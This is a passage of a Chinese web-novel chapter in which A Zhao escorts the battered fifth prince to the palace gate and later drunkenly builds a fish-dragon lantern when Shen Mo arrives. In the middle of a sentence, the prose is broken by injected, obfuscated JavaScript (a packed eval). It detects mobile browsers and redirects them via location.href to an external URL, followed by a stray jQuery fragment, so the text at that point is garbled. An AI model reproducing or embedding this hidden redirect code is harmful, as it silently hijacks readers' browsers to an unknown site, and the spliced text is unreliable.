都欺负我……
晚上出门还被人揍……
谁家皇子做得如我这般窝囊?
阿昭:“……”还没有见过这么傻的骗子。
阿昭隐约知道他是从皇城里走出来的人,衣衫华贵,头戴金冠,随从美婢无数,确实不像寻常人家。
这个建筑她已经走过不下三次了,除了皇城,别无他处。
阿昭看见他哭的狼狈,却莫名的想笑,她努力压制了一下上扬的嘴角,用小木棒轻轻的戳了戳他。
“别哭了。”阿昭低声安慰道。
五皇子赌气地撇开她的木棍,“你笑什么?你也在笑话我是不是!”
阿昭伸手捏了捏自己的脸,“没……没笑。”
五皇子轻哼一声,有些傲娇的撇过头,“你分明就在笑,我都看见了。”
阿昭低声说道:“再往前走百米处就是皇城,你确定不走了吗?”
少年的声音有些沙哑,雌雄莫辩,说出来的话,却悦耳动听,似乎带着些许蛊惑。
五皇子猛然抬头,看着不远处有些昏暗的前路,他站起身来,大步流星地前走着。
“走,当然要走!”五皇子留下一句豪言壮语,快步往前走着。
阿昭站在他身后不远处,送他离开,怕惹麻烦,阿昭使出轻功,躲在不远处的一棵树上。
五皇子走到站在皇城门口守卫的禁军面前,大声地说道:“开门!”
门口的两个禁军却伸出长矛,拦住了他的路,“来者何人?”
一队禁军上下打量了他一番,只见这人衣衫褴褛,破旧不堪,头发散乱,看不出样貌……
也不知是哪里走出来的穷乞丐,竟敢走到皇城重地碰瓷来了?
五皇子气得火冒三丈,扒拉着额前的头发,用白虎踏莲灯照亮自己的脸,掷地有声地说道:“你们真是吃了雄心豹子胆了,本皇子的路你们也敢拦!”
露出的一张少年脸,虽然满是灰尘,可眉眼上挑,一只眼睛被打黑了,鼻青脸肿,嘴角也被打伤了,衣衫破烂,容貌却与五皇子一模一样。
一队禁军连忙跪下行礼,异口同声地恭敬说道:“参见五皇子殿下!”
五皇子并没有让他们即刻起身,而是略显傲娇的站着,想要听到刚才领路的夜瞎子崇拜的话语。
可他等了许久,都没有听到身后传来任何的声音,他低头看了看自己的手,发现自己不知何时松开了木棒。
五皇子略显慌张的回头,发现身后空无一人,“人呢?!”
五皇子低头看着一队禁军,学着永封帝不怒自威地说道:“你们可有看到,方才送我回来之人?”
“回禀殿下,没有!”禁军们都只看见了一个“乞丐”,疯疯癫癫的跑了过来,并没有看见其他人。
领头的禁军教头一脸耿直,拱手说道:“殿下可是喝醉了酒?”
看五皇子这副模样,被打的鼻青脸肿,倒像是吃醉了酒,与人逞凶斗狠,这才被揍了一顿。
他家中与五皇子殿下母族有裙带关系,所以敢直言不讳。
“我没醉!”五皇子心中恼火,没好气地说道。
这人忒不会说话!
这副样子分明就是在说他吃醉了酒,出现了幻觉。
五皇子气地手足无措,紧紧的抓着手中的白虎踏莲灯,“他是个活生生的人,刚才就站在我身后,看见这灯了吗?”
“回禀殿下,看……看见了。”禁军教头被他吓了一跳,恭恭敬敬得回话。
五皇子莫名其妙被人揍了一顿,本就不高兴,扬了扬手中的花灯,眉眼上挑,“这灯是他送给我的!本皇子没有醉,听懂了吗!”
一队禁军拱手应道:“是。”
五皇子记得月夜下少年的衣着,虽未能看见他面具之下的容貌,可是五皇子也记得对方的身形,他打算画一幅画像再命人去寻。
五皇子捂着嘴角,骂骂咧咧地走进皇宫,“带本皇子回宫,传太医!再派一队人去把本皇子身边的随从婢女,都给带回来。”
“你们这禁军,罢了……我都不想说你们!”五皇子气呼呼地走入皇城。
没了沈燃,禁军一个两个都像没了主心骨一般。
他堂堂一个皇子被人当街殴打,成何体统?
阿昭看见那嚣张的背影走入了皇城之中,她轻功飞跃,沿着记忆中的道路回到了家中。
.
锦都城,云府。
阿昭并未感到疲惫,其实吃醉了酒,她此时有些亢奋,似乎有用不完的力气。
院子里移植了一片桃花林,纵使冬日也桃花朵朵开,如美人笑颜绽放,美不胜收。
阿昭提前一日命人在院中架起了木架子,挂满了花灯,花灯下端悬挂着写着灯谜的纸条。
今日是凤槃佳节,她给仆从们放了假,偌大的院子里只剩下她一个人。
此时院中的花灯点燃,比夜空中的下弦月更加耀眼夺目,也点亮了整个院子。
满院灯火色,桃花映青墙。
阿昭坐在房前的石阶上,房门外种着一株桃花,正开得艳丽夺目,枝桠悄悄地伸入窗中。
她醉的厉害,意识也有些模糊不清,凭借着肌肉记忆,将浸水晾晒后的竹条、灯火、明纸、细绳、笔墨、浆糊、镰刀等工具放在石桌上。
阿昭取出竹片和明纸,她眸中氤氲着雾气与思念,唇角勾起一抹淡淡的笑意,慢慢悠悠地做着鱼龙灯。
石阶上放着一本书卷,这是王御史借给她的诗卷千篇其一,翻开了其中一页,上面正用簪花小楷写着:“凤箫声动,玉壶光转,一夜鱼龙舞”。
阿昭用火焰轻轻的灼烧竹条,将竹条弯曲,团成一个个大小不一的椭圆环,再一一捆绑在一起,。
将圆形的竹条用更加细长的竹条缠绕,与丝线绑在一起,大致构成了鱼龙身。
“这鱼头好难做……”阿昭醉得迷迷糊糊,咬了一口用丝线捆好的椭圆竹条,在竹条上咬出了一道牙痕。
阿昭醉态朦胧,迷迷糊糊地说道:“这鱼,好难吃呀……”
四个的椭圆竹条要捆在一起,才能构成大致的鱼头。
她一人制作,没有办法很好的固定,依稀记得几年前,是谁教她制作鱼龙灯的?
“沈……”沈墨。
可是这个名字,她才刚挂到嘴边,却被迫咽下,她不能提起他的名字
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990809|171896||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,眸中不知为何多了几分泪光。
“生气了,哄不好了。”
他凭什么丢掉我?
我都还没嫌弃他呢……
阿昭想起来之前沈墨设计入狱,与大公子之间做了一场戏,却独独没有告诉她。
那些日子担惊受怕,就像一场笑话一样。
不过庆幸的是……
他平安无恙。
阿昭低头做着花灯,小声地骂骂咧咧:“他练武都不穿衣裳的,不知羞。”
阿昭心里有些气,原本觉得难做的鱼头也变得简单了,将鱼头固定好,再灼烧弯曲几根竹条制好鱼尾。
鱼龙花灯,鱼身龙头,以长竹支撑手握,轻轻摇晃可动鱼头鱼尾,这花灯是兄长教她做的,是她亲手所制的鱼龙灯。
沈墨一袭黑衣,在黑夜中穿梭,飞檐走壁,使用轻功,飞快地从瓦片上掠过,如一只孤傲的大雁,不动声色,只有冷风拂过。
他刚翻墙跃入阿昭的院子,就听着自己的好弟弟在背后,说自己坏话。
沈墨低头看了一眼自己穿戴整齐的衣裳,整理了一下玄色斗篷毛领,一步一步向阿昭走去。
沈墨眸中带着一丝困惑,“我练功时,只是不穿上衣罢了,你我都是男子,有何不妥?”
男子清冷的声音在半空中响起,似阵清风徐来,动人心扉。
阿昭忽然抬头,看见了身穿一身黑衣的男子,她醉的迷迷糊糊,也认不出这是何人。
她只觉得这人一身黑衣,半夜翻她家的墙,一看就不像个好人。
怕不是那梁上君子?
阿昭放下手中的花灯架子,从布袋子里掏出沈墨送她的匕首,也没拔出鞘……
她握着刀柄,摇头晃脑地吓唬道:“哪里来的窃贼?还不速速报上名来!”
“我是你哥。”沈墨从袖子中取出一个盒子,轻轻敲了下阿昭的脑袋,“你小时候光着屁股在河里洗澡,险些溺死,还是我把你捞上来的……”
阿昭慢慢回想起了幼年时的糗事,脸颊微微泛红,摇了摇头,“不……不信。”
太丢人了,才不能承认!
沈墨垂眸看着阿昭的脸,见她脸颊泛红,一双桃花眸迷茫染了些许雾气,想来是吃了花酒,有些醉了。
“爱信不信……”沈墨有些郁闷地踢了踢脚下的石子,轻声叹气。
沈墨低头看着矮自己一些的弟弟,他记得当初把阿昭从河里捞上来,这小孩儿用一片大叶子挡着身子,蹲在地上用泥巴砸他,哭着让他走开。
真是顽皮的很……
他就看到了后面。
定北王府覆灭后的那三年,他们朝不保夕,为了躲避官兵的搜捕,只能东躲西藏,一路南下。
不过如今想来,那时候他们还没有被人贩子拐走,虽然吃不饱穿不暖,倒也过了许久安生日子。
可惜的是那一场风寒过后,阿昭忘记了许多,就连和他相依为命的过往,也都忘得一干二净。
不过幸好,如今,他们依然能在同一片月光下,共度佳节。
沈墨眸中多了几分温暖,脸上也带着一丝笑意,将雕刻着青竹与桃花的木盒递到阿昭的面前。